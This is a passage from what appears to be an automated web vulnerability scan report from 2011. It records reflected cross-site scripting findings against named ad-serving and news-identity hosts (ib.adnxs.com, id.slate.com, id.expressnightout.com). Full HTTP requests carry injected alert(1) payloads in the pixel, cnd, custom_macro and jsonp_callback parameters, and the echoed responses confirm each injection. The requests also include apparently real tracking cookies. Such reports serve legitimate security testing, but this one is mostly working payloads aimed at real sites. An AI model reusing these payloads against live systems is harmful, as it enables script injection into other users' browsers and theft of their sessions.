GET /ab?enc=mZmZmZmZ8T-HFtnO91PvPwAAAKCZmfE_hxbZzvdT7z-amZmZmZnxPw4Kqha1g4pNSsYda6b2ziW0OslNAAAAAKNHAwBlAQAAZAEAAAIAAABU_gQAPWQAAAEAAABVU0QAVVNEANgCWgDWFbkEvAQBAgUCAAIAAAAATCjgaAAAAAA.&tt_code=huffingtonpost.com&udj=uf%28%27a%27%2C+10005%2C+1305033396%29%3Buf%28%27c%27%2C+47078%2C+1305033396%29%3Buf%28%27r%27%2C+327252%2C+1305033396%29%3Bppv%289163%2C+%275587423101499083278%27%2C+1305033396%2C+1305206196%2C+47078%2C+25661%29%3B&cnd=!oxwKOQjm7wIQ1PwTGAAgvcgBMAA41itAAEjkAlAAWABg2gFoAHAAeACAAVKIAeYVkAEBmAEBoAEDqAEDsAEBuQEAAACgmZnxP8EBAAAAoJmZ8T_JATMzMzMzM_c_0AEA&referrer=http://www.huffingtonpost.com&custom_macro=ADV_CODE%5E17572%5ECP_CODE%5EH26G%5ECP_ID%5E47078%5ESEG_CODES%5EH26G-8e52ec'%3balert(1)//81fed1c90b4&pp=AAABL9oNUKCRKfx9IfHI5wKI11Q69tbXq9LcCw&pubclick=http%3A%2F%2Fbid.openx.net%2Fclick%3Fcd%3DH4sIAAAAAAAAABXLyw3CMBAFwBd-spQ2uK7kZ2yHRaIEinA2a4ljKqApmqAC2iHMfUYMAM70vCw9FqGRki_JRaOrpNZqpFkt1gJ2j8_tPWL_H9PcIxOrNNdtbF1mqkm_UitzV_cScACme8ARw_cVcALWJ37LJw-LcwAAAA%3D%3D%26dst%3D HTTP/1.1
Host: ib.adnxs.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: icu=ChIIp4ABEAoYASABKAEwjqeg7gQKEgiFugIQChgCIAIoAjDilKDuBBCOp6DuBBgC; acb754301=5_[r^208WM-xH[I7=/CbfvQno?enc=v0UnS6335z-Si9b2G5LlPwAAAKCZmfk_kovW9huS5T-_RSdLrffnP2mS_Kn0Iys1SsYda6b2ziWOE8hNAAAAAOQ8AwA3AQAAZAAAAAIAAAAGEgUAv14AAAEAAABVU0QAVVNEACwB-gCqAQAAtw8BAgUCAAUAAAAAbibNEQAAAAA.&tt_code=cm.quadhearst&udj=uf%28%27a%27%2C+27%2C+1304957886%29%3Buf%28%27g%27%2C+1079%2C+1304957886%29%3Buf%28%27r%27%2C+332294%2C+1304957886%29%3Bppv%2882%2C+%273831195441739633257%27%2C+1304957886%2C+1315325886%2C+66646%2C+24255%29%3Bppv%2884%2C+%273831195441739633257%27%2C+1304957886%2C+1315325886%2C+66646%2C+24255%29%3Bppv%2811%2C+%273831195441739633257%27%2C+1304957886%2C+1315325886%2C+66646%2C+24255%29%3Bppv%2882%2C+%273831195441739633257%27%2C+1304957886%2C+1315325886%2C+66646%2C+24255%29%3Bppv%2884%2C+%273831195441739633257%27%2C+1304957886%2C+1315325886%2C+66646%2C+24255%29%3Bppv%2887%2C+%273831195441739633257%27%2C+1304957886%2C+1305044286%2C+66646%2C+24255%29%3Bppv%28619%2C+%273831195441739633257%27%2C+1304957886%2C+1305044286%2C+66646%2C+24255%29%3Bppv%28620%2C+%273831195441739633257%27%2C+1304957886%2C+1305044286%2C+66646%2C+24255%29%3Bppv%28621%2C+%273831195441739633257%27%2C+1304957886%2C+1305044286%2C+66646%2C+24255%29%3B&cnd=!ER3LQgjWiAQQhqQUGAAgv70BKAAx6bBndKz35z9CEwgAEAAYACABKP7__________wFCDAhSEJLabhhnIAMoBUIMCFQQ0tYpGCggAygFSANQAFiqA2AAaGQ.&custom_macro=ADV_FREQ%5E0%5EREM_USER%5E0%5ECP_ID%5E66646; anj=Kfw)(ByDuq)W^19LYx$D#Ktj_ZKaW099Yuq/0'](OZ<tV7`c1iRD%QAAN:KjAwOxxu4qCSFiost.J<w5i$)*V%olvjdQ7o21$UqYh1zMLW=x55wZ#y5luCb?XsdOld2x)yCQNZp68YY5KnhnZw?:-oKsq5TGIP5Wd*E+CQK-@+0Tw2!Z#S-!N<a`npFIs5m_:TfixF9[YJs4Z#<'#BTq#`#c.yrN-!(k2q5I3u<1--s#yal8[lGr*L:JM06nzeu!j`Z7qD$HnJI58$iEks!e/6zaJ[a/:At5VKNB?nva.bw<55]13N++kd2$#K2WffFvF#osi8ZXCitp65^UkhD+dDy8aX=nedSB.kNr3Pic::HrNA`m1UnZr`DN+-[luH@W!wQK(AX[(L%VNOXCnI(^1ti@Nnqk1SNXu81vWK_RPOT1JDN%]ozn4tK1*ATQ0Deze`2x:x*v+9+1WwP0$`Jq%Z:_+*m5BwRoOU!6fmWcFDGM]:_4<(@.ag+krPox<%D1[2enG*wqW!/O*gQ>29CG0Tf_FxvX@m*Npe$Vd5]HrARqxj>BdWcShex`W`'`qPe++d@O44ya0pB+#OQa*oyQNjSMj99r#0QMpkCg%.<aF09O$aY@>lzk!xHx]#X^G7?Ph_fe-tL2x`wuy1%M*W>-LKPHAmL/ps[SsY?/lGk@O+IwHpTpNi!glo^; sess=1; uuid2=2724386019227846218

Response

HTTP/1.1 200 OK
Cache-Control: no-store, no-cache, private
Pragma: no-cache
Expires: Sat, 15 Nov 2008 16:00:00 GMT
P3P: CP="OTI DSP COR ADMo TAIo PSAo PSDo CONo OUR SAMo OTRo STP UNI PUR COM NAV INT DEM STA PRE LOC"
Set-Cookie: sess=1; path=/; expires=Wed, 11-May-2011 13:55:55 GMT; domain=.adnxs.com; HttpOnly
Set-Cookie: uuid2=2724386019227846218; path=/; expires=Mon, 08-Aug-2011 13:55:55 GMT; domain=.adnxs.com; HttpOnly
Content-Type: text/javascript
Set-Cookie: uuid2=2724386019227846218; path=/; expires=Mon, 08-Aug-2011 13:55:55 GMT; domain=.adnxs.com; HttpOnly
Set-Cookie: anj=Kfw)(ByDuq)W^19LYx$D#Ktj_ZKaW099Yuq/0'](OZ<tV7`c1iRD%QAAN:KjAwOxxu4qCSFiost.J<w5i$)*V%olvjdQ7o21$UqYh1zMLW=x55wZ#y5luCb?XsdOld2x)yCQNZp68YY5KnhnZw?:-oKsq5TGIP5Wd*E+CQK-@+0Tw2!Z#S-!N<a`npFIs5m_:TfixF9[YJs4Z#<'#BTq#`#c.yrN-!(k2q5I3u<1--s#yal8[lGr*L:JM06nzeu!j`Z7qD$HnJI58$iEks!e/6zaJ[a/:At5VKNB?nva.bw<55]13N++kd2$#K2WffFvF#osi8ZXCitp65^UkhD+dDy8aX=nedSB.kNr3Pic::HrNA`m1UnZr`DN+-[luH@W!wQK(AX[(L%VNOXCnI(^1ti@Nnqk1SNXu81vWK_RPOT1JDN%]ozn4tK1*ATQ0Deze`2x:x*v+9+1WwP0$`Jq%Z:_+*m5BwRoOU!6fmWcFDGM]:_4<(@.ag+krPox<%D1[2enG*wqW!/O*gQ>29CG0Tf_FxvX@m*Npe$Vd5]HrARqxj>BdWcShex`W`'`qPe++d@O44ya0pB+#OQa*oyQNjSMj99r#0QMpkCg%.<aF09O$aY@>lzk!xHx]#X^G7?Ph_fe-tL2x`wuy1%M*W>-LKPHAmL/ps[SsY?/lGk@O+IwHpTpNi!glo^; path=/; expires=Mon, 08-Aug-2011 13:55:55 GMT; domain=.adnxs.com; HttpOnly
Date: Tue, 10 May 2011 13:55:55 GMT
Content-Length: 1561

document.write('<a href="http://ib.adnxs.com/click/X_e6173u5T-F61G4HoXjPwAAAKCZmfE_hxbZzvdT7z-amZmZmZnxPw4Kqha1g4pNSsYda6b2ziW0OslNAAAAAKNHAwBlAQAAZAEAAAIAAABU_gQAPWQAAAEAAABVU0QAVVNEANgCWgDWFbkEvAQBA
...[SNIP]...
<img src="http://xcdn.xgraph.net/17572/ae/xg.gif?type=ae&ais=ApN&pid=17572&cid=H26G&n_cid=47078&crid=728x90_8F_Interim_finalgif&n_crid=327252&mpm=CPM&n_g=u&n_a=0&aids=H26G-8e52ec';alert(1)//81fed1c90b4&n_price=0.685393&n_bust=1305033396&n=http%3A%2F%2Fdata.cmcore.com%2Fimp%3Ftid%3D17%26ci%3D90074784%26vn1%3D4.1.1%26vn2%3De4.0%26ec%3DUTF-8%26cm_mmc%3DIM_Display-_-x-_-x15off-_-postvday%26cm_mmca1%3D72
...[SNIP]...

4.199. http://ib.adnxs.com/ab [pixel parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ib.adnxs.com
Path:	/ab

Issue detail

The value of the pixel request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 139b5'%3balert(1)//33dc287f86a was submitted in the pixel parameter. This input was echoed as 139b5';alert(1)//33dc287f86a in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /ab?enc=FK5H4XoUCkBj7lpCPugFQAAAAKCZmfE_Y-5aQj7oBUAUrkfhehQKQMlAlmmL5qRxSsYda6b2ziUvOslNAAAAAKNHAwBlAQAAHgAAAAMAAACHbQUAPWQAAAEAAABVU0QAVVNEANgCWgDWFbkE4RABAgUCAAIAAAAAKyLT1wAAAAA.&tt_code=huffingtonpost.com&click=http://va.px.invitemedia.com/pixel%3FreturnType=redirect%26key=Click%26message=eJwVizsSgEAIQ6_iUFsQPgt4ph07K8e7C1XemyQvqdJ1LEacB6kMoxzVhhZKZJaocxYkGMtAs5wuXDjG5iad3glhNFrj_ezduBrNHN8PZO0U.Q--%26redirectURL=&pixel=http://va.px.invitemedia.com/adnxs_imp%3FreturnType=image%26key=AdImp%26cost=$%7BPRICE_PAID%7D%26creativeID=114297%26message=eJwVizsSgEAIQ6_iUFsQPgt4ph07K8e7C1XemyQvqdJ1LEacB6kMoxzVhhZKZJaocxYkGMtAs5wuXDjG5iad3glhNFrj_ezduBrNHN8PZO0U.Q--%26managed=false139b5'%3balert(1)//33dc287f86a&referrer=http://www.huffingtonpost.com&pp=AAABL9oLStW_K2KI0cxMwk-JhDaqo1prixhpVQ&pubclick=http%3A%2F%2Fbid.openx.net%2Fclick%3Fcd%3DH4sIAAAAAAAAABXLwQ3CMAwF0F8KKFLX4GoRt07iIDECQ6SNLfXIBMzHBKyD-u5vwgDgVm1pmhYnzRpJcirUYp8pbim5WBfTHHB6fR_3CeMxyuqRZ87UrDKJ9E4r141cuWYWr2Yp4AyUZ8AFw-8TcAXeO_49WGqxcwAAAA%3D%3D%26dst%3D HTTP/1.1
Host: ib.adnxs.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: icu=ChIIp4ABEAoYASABKAEwjqeg7gQKEgiFugIQChgCIAIoAjDilKDuBBCOp6DuBBgC; acb754301=5_[r^208WM-xH[I7=/CbfvQno?enc=v0UnS6335z-Si9b2G5LlPwAAAKCZmfk_kovW9huS5T-_RSdLrffnP2mS_Kn0Iys1SsYda6b2ziWOE8hNAAAAAOQ8AwA3AQAAZAAAAAIAAAAGEgUAv14AAAEAAABVU0QAVVNEACwB-gCqAQAAtw8BAgUCAAUAAAAAbibNEQAAAAA.&tt_code=cm.quadhearst&udj=uf%28%27a%27%2C+27%2C+1304957886%29%3Buf%28%27g%27%2C+1079%2C+1304957886%29%3Buf%28%27r%27%2C+332294%2C+1304957886%29%3Bppv%2882%2C+%273831195441739633257%27%2C+1304957886%2C+1315325886%2C+66646%2C+24255%29%3Bppv%2884%2C+%273831195441739633257%27%2C+1304957886%2C+1315325886%2C+66646%2C+24255%29%3Bppv%2811%2C+%273831195441739633257%27%2C+1304957886%2C+1315325886%2C+66646%2C+24255%29%3Bppv%2882%2C+%273831195441739633257%27%2C+1304957886%2C+1315325886%2C+66646%2C+24255%29%3Bppv%2884%2C+%273831195441739633257%27%2C+1304957886%2C+1315325886%2C+66646%2C+24255%29%3Bppv%2887%2C+%273831195441739633257%27%2C+1304957886%2C+1305044286%2C+66646%2C+24255%29%3Bppv%28619%2C+%273831195441739633257%27%2C+1304957886%2C+1305044286%2C+66646%2C+24255%29%3Bppv%28620%2C+%273831195441739633257%27%2C+1304957886%2C+1305044286%2C+66646%2C+24255%29%3Bppv%28621%2C+%273831195441739633257%27%2C+1304957886%2C+1305044286%2C+66646%2C+24255%29%3B&cnd=!ER3LQgjWiAQQhqQUGAAgv70BKAAx6bBndKz35z9CEwgAEAAYACABKP7__________wFCDAhSEJLabhhnIAMoBUIMCFQQ0tYpGCggAygFSANQAFiqA2AAaGQ.&custom_macro=ADV_FREQ%5E0%5EREM_USER%5E0%5ECP_ID%5E66646; sess=1; uuid2=2724386019227846218; anj=Kfw)(CZ#0s(F?MZLVSg3#>:`0`Wj>*99YvdPfber+muSItfpTJar!ZSD^Ql9FTEfo_.m(nTf9tT(*6)F#FuwONj>>h?Z7pb#DccF4z/[cu:+7%rZkn<p3H49nTZCPds!V`Y@*fE<@f^#sP=6D!wRXt:8bx:DwO'KfZD92w#ZzR?`C*Ujg`bSN<a.^uRQM#lc*!RjuC05O_5NKNYsBm%DgcrA*YwV7n!4SWV=H[h2Qm'N=gHln-BRQ^9N_[jKC0Y3anm3f]?G$5tjF(2cB$+CX'iJ5mBf[`Nwk@kV$z/F3X6r^>1en5n`x2YTf+]%ngUhhQ+Ej$h3D5v$u[`i5_JgaFofRElE0J/z!k[b:Rvf]Kn9+^/Ow(7Po<23EJWHwgSfSH].n]VjkoS[T@0pw8yMTeCE4WB.CR^@>bw1KU1QTdWcUfc^H?ltmT-PW-BI8IVRoxZtiXO=J)R:kGSOZkd`?@w'*!Zm]nh%)$)ufL7.iVY+Dw?eO9jyj[UUV0nVaBX^t:UO`Y+i-9v`fU`./^L!Zx!l7#+4Vr4<nOkV9SAr8>SjVLn/dS]Jovg+[IRP=`w0i?PX%5Mt@7.H.4(?vzu]i#<UT(fsZg*[hX]tGYysyP0D^r]d2L!OZy7])HYbS:@+b>mYdKKW#8fhyO=UMn!Ct'HlraM?u?b(q])4M*E2wtbw%x<R5zY_xe?

Response

HTTP/1.1 200 OK
Cache-Control: no-store, no-cache, private
Pragma: no-cache
Expires: Sat, 15 Nov 2008 16:00:00 GMT
P3P: CP="OTI DSP COR ADMo TAIo PSAo PSDo CONo OUR SAMo OTRo STP UNI PUR COM NAV INT DEM STA PRE LOC"
Set-Cookie: sess=1; path=/; expires=Wed, 11-May-2011 13:34:33 GMT; domain=.adnxs.com; HttpOnly
Set-Cookie: uuid2=2724386019227846218; path=/; expires=Mon, 08-Aug-2011 13:34:33 GMT; domain=.adnxs.com; HttpOnly
Content-Type: text/javascript
Set-Cookie: uuid2=2724386019227846218; path=/; expires=Mon, 08-Aug-2011 13:34:33 GMT; domain=.adnxs.com; HttpOnly
Set-Cookie: anj=Kfw)(CZ#0s(F?MZLVSg3#>:`0`Wj<q%aaoUPfbGhP:t/X7`c0Y]vsJ[AN?z?AwOycr)#ELZ8:$LOF-^5XK>$3Curma(DRmk8zM:n'@pozh=91+wtXalhG+6oJBTzKHH(2n1#(_j-=#pHbWg_Wom0Jt?9CT(kV$>3b7Y:xAjzk))IZ80]mO3)n$ft0t6Klq5_p#w][HUVV$Bfl#/!6W*(oQicOY9(MHI.Dh-*hCEJ_/pcbP_dKjZy>cH>Oz_QOy6sD9E7_]@CZ-kh6zB.0m2azz#J`y/Pb]tI^XkVQ*gk+W^)CrralHb2jk:PaG`)eVn+ua2d=$YZ/Zv`IHj`5eAJKkbmfg]f=h9GCo3JuJlPFip6NiWUU?KaIq:^@3khN%)o`jKE']Ax)u!vVcDZ^L64W-VZMQeSV0^*(14AtYp$0Klc'!A8.'-8%2pCkHd`$Rp=U)Ab7oapu9'O5QpVsMM(>6glTQk`H2U!sIqfwBJDnjgH9e`PGKn<St4dzs_R6)-4mY'W4@4UI<(=aV3Y>?A(s:e+c.A[U2wGd4)e'kQdoxAJ3]rCnImpIO0jFQ:jL[zehU_<W1P^zQU[=>+wuOU0Lm./h[uOxBpA-gdQPtlrwv.ebk:B>5WRitpMMUot*SI?x+d2wFE9]rvsH>nC>^dF5dEF1qmq[Gv3yh#uaq:T'0@[T; path=/; expires=Mon, 08-Aug-2011 13:34:33 GMT; domain=.adnxs.com; HttpOnly
Date: Tue, 10 May 2011 13:34:33 GMT
Content-Length: 3054

function writeJS(doc){
var str='';
str += '<script type="text\/javascript"> \n';
str += 'function pr_swfver(){ \n';
str += 'var osf,osfd,i,axo=1,v=0,nv=navigator; \n';
str += 'if(nv.plugins&&nv.mimeTy
...[SNIP]...
nxs_imp?returnType=image&key=AdImp&cost=1.221429&creativeID=114297&message=eJwVizsSgEAIQ6_iUFsQPgt4ph07K8e7C1XemyQvqdJ1LEacB6kMoxzVhhZKZJaocxYkGMtAs5wuXDjG5iad3glhNFrj_ezduBrNHN8PZO0U.Q--&managed=false139b5';alert(1)//33dc287f86a" width="1" height="1"/>
...[SNIP]...

4.200. http://ib.adnxs.com/if [cnd parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ib.adnxs.com
Path:	/if

Issue detail

The value of the cnd request parameter is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload b1861'style%3d'x%3aexpression(alert(1))'65855b43395 was submitted in the cnd parameter. This input was echoed as b1861'style='x:expression(alert(1))'65855b43395 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.

Request

GET /if?enc=oQeraR1v3j_P91PjpZvcPwAAAKCZmfE_yCk6kst_4j-uR-F6FK7jPxQvhA5f9a4DSsYda6b2ziX1OslNAAAAAKNHAwBlAQAAGgEAAAIAAACoJgQAPWQAAAEAAABVU0QAVVNEANgCWgDWFbkE8g8BAgUCAAIAAAAABiaUgQAAAAA.&pubclick=http://bid.openx.net/click?cd%3DH4sIAAAAAAAAABXLyQ3CMBAF0B8CyFLa4DqSxx5vSJRAEV7GEsdUQH1UQCXcUd79bVgA3Lrvlqt3lJN0kshKJSZHNbTA2Q8bhhqcnp_7b8N6jNSmZceRqhYmkTGocek0M5fIMotqMDgD6WFwwfJ9G1yB_YU_okJriHMAAAA%3D%26dst%3D&tt_code=huffingtonpost.com&udj=uf%28%27a%27%2C+2248%2C+1305033483%29%3Buf%28%27c%27%2C+61473%2C+1305033483%29%3Buf%28%27r%27%2C+272040%2C+1305033483%29%3Bppv%287166%2C+%27265419216675680020%27%2C+1305033483%2C+1336569483%2C+61473%2C+25661%29%3B&cnd=!GR5c4gih4AMQqM0QGAAgvcgBMAA41itAAEiaAlAAWABg2gFoAHAAeACAAQCIAQCQAQGYAQGgAQGoAQOwAQG5Aa5H4XoUruM_wQGuR-F6FK7jP8kBEFg5tMh28j_QAQA.b1861'style%3d'x%3aexpression(alert(1))'65855b43395&referrer=http://www.huffingtonpost.com HTTP/1.1
Host: ib.adnxs.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: icu=ChIIp4ABEAoYASABKAEwjqeg7gQKEgiFugIQChgCIAIoAjDilKDuBBCOp6DuBBgC; acb754301=5_[r^208WM-xH[I7=/CbfvQno?enc=v0UnS6335z-Si9b2G5LlPwAAAKCZmfk_kovW9huS5T-_RSdLrffnP2mS_Kn0Iys1SsYda6b2ziWOE8hNAAAAAOQ8AwA3AQAAZAAAAAIAAAAGEgUAv14AAAEAAABVU0QAVVNEACwB-gCqAQAAtw8BAgUCAAUAAAAAbibNEQAAAAA.&tt_code=cm.quadhearst&udj=uf%28%27a%27%2C+27%2C+1304957886%29%3Buf%28%27g%27%2C+1079%2C+1304957886%29%3Buf%28%27r%27%2C+332294%2C+1304957886%29%3Bppv%2882%2C+%273831195441739633257%27%2C+1304957886%2C+1315325886%2C+66646%2C+24255%29%3Bppv%2884%2C+%273831195441739633257%27%2C+1304957886%2C+1315325886%2C+66646%2C+24255%29%3Bppv%2811%2C+%273831195441739633257%27%2C+1304957886%2C+1315325886%2C+66646%2C+24255%29%3Bppv%2882%2C+%273831195441739633257%27%2C+1304957886%2C+1315325886%2C+66646%2C+24255%29%3Bppv%2884%2C+%273831195441739633257%27%2C+1304957886%2C+1315325886%2C+66646%2C+24255%29%3Bppv%2887%2C+%273831195441739633257%27%2C+1304957886%2C+1305044286%2C+66646%2C+24255%29%3Bppv%28619%2C+%273831195441739633257%27%2C+1304957886%2C+1305044286%2C+66646%2C+24255%29%3Bppv%28620%2C+%273831195441739633257%27%2C+1304957886%2C+1305044286%2C+66646%2C+24255%29%3Bppv%28621%2C+%273831195441739633257%27%2C+1304957886%2C+1305044286%2C+66646%2C+24255%29%3B&cnd=!ER3LQgjWiAQQhqQUGAAgv70BKAAx6bBndKz35z9CEwgAEAAYACABKP7__________wFCDAhSEJLabhhnIAMoBUIMCFQQ0tYpGCggAygFSANQAFiqA2AAaGQ.&custom_macro=ADV_FREQ%5E0%5EREM_USER%5E0%5ECP_ID%5E66646; anj=Kfw)(ByDuq)W^19LYx$D#Ktj_ZKaW099Yuq/0'](OZ<tV7`c1iRD%QAAN:KjAwOxxu4qCSFiost.J<w5i$)*V%olvjdQ7o21$UqYh1zMLW=x55wZ#y5luCb?XsdOld2x)yCQNZp68YY5KnhnZw?:-oKsq5TGIP5Wd*E+CQK-@+0Tw2!Z#S-!N<a`npFIs5m_:TfixF9[YJs4Z#<'#BTq#`#c.yrN-!(k2q5I3u<1--s#yal8[lGr*L:JM06nzeu!j`Z7qD$HnJI58$iEks!e/6zaJ[a/:At5VKNB?nva.bw<55]13N++kd2$#K2WffFvF#osi8ZXCitp65^UkhD+dDy8aX=nedSB.kNr3Pic::HrNA`m1UnZr`DN+-[luH@W!wQK(AX[(L%VNOXCnI(^1ti@Nnqk1SNXu81vWK_RPOT1JDN%]ozn4tK1*ATQ0Deze`2x:x*v+9+1WwP0$`Jq%Z:_+*m5BwRoOU!6fmWcFDGM]:_4<(@.ag+krPox<%D1[2enG*wqW!/O*gQ>29CG0Tf_FxvX@m*Npe$Vd5]HrARqxj>BdWcShex`W`'`qPe++d@O44ya0pB+#OQa*oyQNjSMj99r#0QMpkCg%.<aF09O$aY@>lzk!xHx]#X^G7?Ph_fe-tL2x`wuy1%M*W>-LKPHAmL/ps[SsY?/lGk@O+IwHpTpNi!glo^; sess=1; uuid2=2724386019227846218

Response

HTTP/1.1 200 OK
Cache-Control: no-store, no-cache, private
Pragma: no-cache
Expires: Sat, 15 Nov 2008 16:00:00 GMT
P3P: CP="OTI DSP COR ADMo TAIo PSAo PSDo CONo OUR SAMo OTRo STP UNI PUR COM NAV INT DEM STA PRE LOC"
Set-Cookie: sess=1; path=/; expires=Wed, 11-May-2011 13:56:47 GMT; domain=.adnxs.com; HttpOnly
Set-Cookie: uuid2=2724386019227846218; path=/; expires=Mon, 08-Aug-2011 13:56:47 GMT; domain=.adnxs.com; HttpOnly
Content-Type: text/html; charset=utf-8
Set-Cookie: uuid2=2724386019227846218; path=/; expires=Mon, 08-Aug-2011 13:56:47 GMT; domain=.adnxs.com; HttpOnly
Set-Cookie: anj=Kfw)(ByDuq)W^19LYx$D#Ktj_ZKaW099Yuq/0'](OZ<tV7`c1iRD%QAAN:KjAwOxxu4qCSFiost.J<w5i$)*V%olvjdQ7o21$UqYh1zMLW=x55wZ#y5luCb?XsdOld2x)yCQNZp68YY5KnhnZw?:-oKsq5TGIP5Wd*E+CQK-@+0Tw2!Z#S-!N<a`npFIs5m_:TfixF9[YJs4Z#<'#BTq#`#c.yrN-!(k2q5I3u<1--s#yal8[lGr*L:JM06nzeu!j`Z7qD$HnJI58$iEks!e/6zaJ[a/:At5VKNB?nva.bw<55]13N++kd2$#K2WffFvF#osi8ZXCitp65^UkhD+dDy8aX=nedSB.kNr3Pic::HrNA`m1UnZr`DN+-[luH@W!wQK(AX[(L%VNOXCnI(^1ti@Nnqk1SNXu81vWK_RPOT1JDN%]ozn4tK1*ATQ0Deze`2x:x*v+9+1WwP0$`Jq%Z:_+*m5BwRoOU!6fmWcFDGM]:_4<(@.ag+krPox<%D1[2enG*wqW!/O*gQ>29CG0Tf_FxvX@m*Npe$Vd5]HrARqxj>BdWcShex`W`'`qPe++d@O44ya0pB+#OQa*oyQNjSMj99r#0QMpkCg%.<aF09O$aY@>lzk!xHx]#X^G7?Ph_fe-tL2x`wuy1%M*W>-LKPHAmL/ps[SsY?/lGk@O+IwHpTpNi!glo^; path=/; expires=Mon, 08-Aug-2011 13:56:47 GMT; domain=.adnxs.com; HttpOnly
Date: Tue, 10 May 2011 13:56:47 GMT
Content-Length: 822

<script language='javascript' type='text/javascript' src='http://imp.fetchback.com/serve/fb/adtag.js?tid=59178&type=lead&clicktrack=http://ib.adnxs.com/click/oQeraR1v3j_P91PjpZvcPwAAAKCZmfE_yCk6kst_4j
...[SNIP]...
ACoJgQAPWQAAAEAAABVU0QAVVNEANgCWgDWFbkE8g8BAQUCAAIAAAAABSaDgQAAAAA./cnd=!GR5c4gih4AMQqM0QGAAgvcgBMAA41itAAEiaAlAAWABg2gFoAHAAeACAAQCIAQCQAQGYAQGgAQGoAQOwAQG5Aa5H4XoUruM_wQGuR-F6FK7jP8kBEFg5tMh28j_QAQA.b1861'style='x:expression(alert(1))'65855b43395/referrer=http%253A%252F%252Fwww.huffingtonpost.com/clickenc=http%253A%252F%252Fbid.openx.net%252Fclick%253Fcd%253DH4sIAAAAAAAAABXLyQ3CMBAF0B8CyFLa4DqSxx5vSJRAEV7GEsdUQH1UQCXcUd79bVgA3Lrvlqt3lJN0kshKJS
...[SNIP]...

4.201. http://id.expressnightout.com/identity/public/visitor.json [jsonp_callback parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://id.expressnightout.com
Path:	/identity/public/visitor.json

Issue detail

The value of the jsonp_callback request parameter is copied into the HTML document as plain text between tags. The payload 5c74c<script>alert(1)</script>e3dfd0d682d was submitted in the jsonp_callback parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /identity/public/visitor.json?jsonp_callback=jsonp13050332046815c74c<script>alert(1)</script>e3dfd0d682d&lang=en-us&tags=sunset HTTP/1.1
Host: id.expressnightout.com
Proxy-Connection: keep-alive
Referer: http://www.washingtonpost.com/blogs/right-turn/post/rick-santorum-doesnt-understand-america/2011/03/29/AFHhSbBG_blog.html
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=utf-8
Date: Tue, 10 May 2011 13:24:48 GMT
Server: GlassFish v3
Set-Cookie: JSESSIONID=a14d5761e87e52763177934187ab; Path=/identity
X-Powered-By: Servlet/3.0
Connection: keep-alive
Content-Length: 101

jsonp13050332046815c74c<script>alert(1)</script>e3dfd0d682d({"visitors":{"wapoVisitor":{"id":"-1"}}})

4.202. http://id.slate.com/identity/public/visitor.json [jsonp_callback parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://id.slate.com
Path:	/identity/public/visitor.json

Issue detail

The value of the jsonp_callback request parameter is copied into the HTML document as plain text between tags. The payload 51c6a<script>alert(1)</script>c1d61827a05 was submitted in the jsonp_callback parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /identity/public/visitor.json?jsonp_callback=jsonp130503320468051c6a<script>alert(1)</script>c1d61827a05&lang=en-us&tags=sunset HTTP/1.1
Host: id.slate.com
Proxy-Connection: keep-alive
Referer: http://www.washingtonpost.com/blogs/right-turn/post/rick-santorum-doesnt-understand-america/2011/03/29/AFHhSbBG_blog.html
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=utf-8
Date: Tue, 10 May 2011 13:24:19 GMT
Server: GlassFish v3
Set-Cookie: JSESSIONID=a146637100936bc92d5a3086393b; Path=/identity
X-Powered-By: Servlet/3.0
Connection: keep-alive
Content-Length: 101

jsonp130503320468051c6a<script>alert(1)</script>c1d61827a05({"visitors":{"wapoVisitor":{"id":"-1"}}})

4.203. http://id.theroot.com/identity/public/visitor.json [jsonp_callback parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://id.theroot.com
Path:	/identity/public/visitor.json

Issue detail

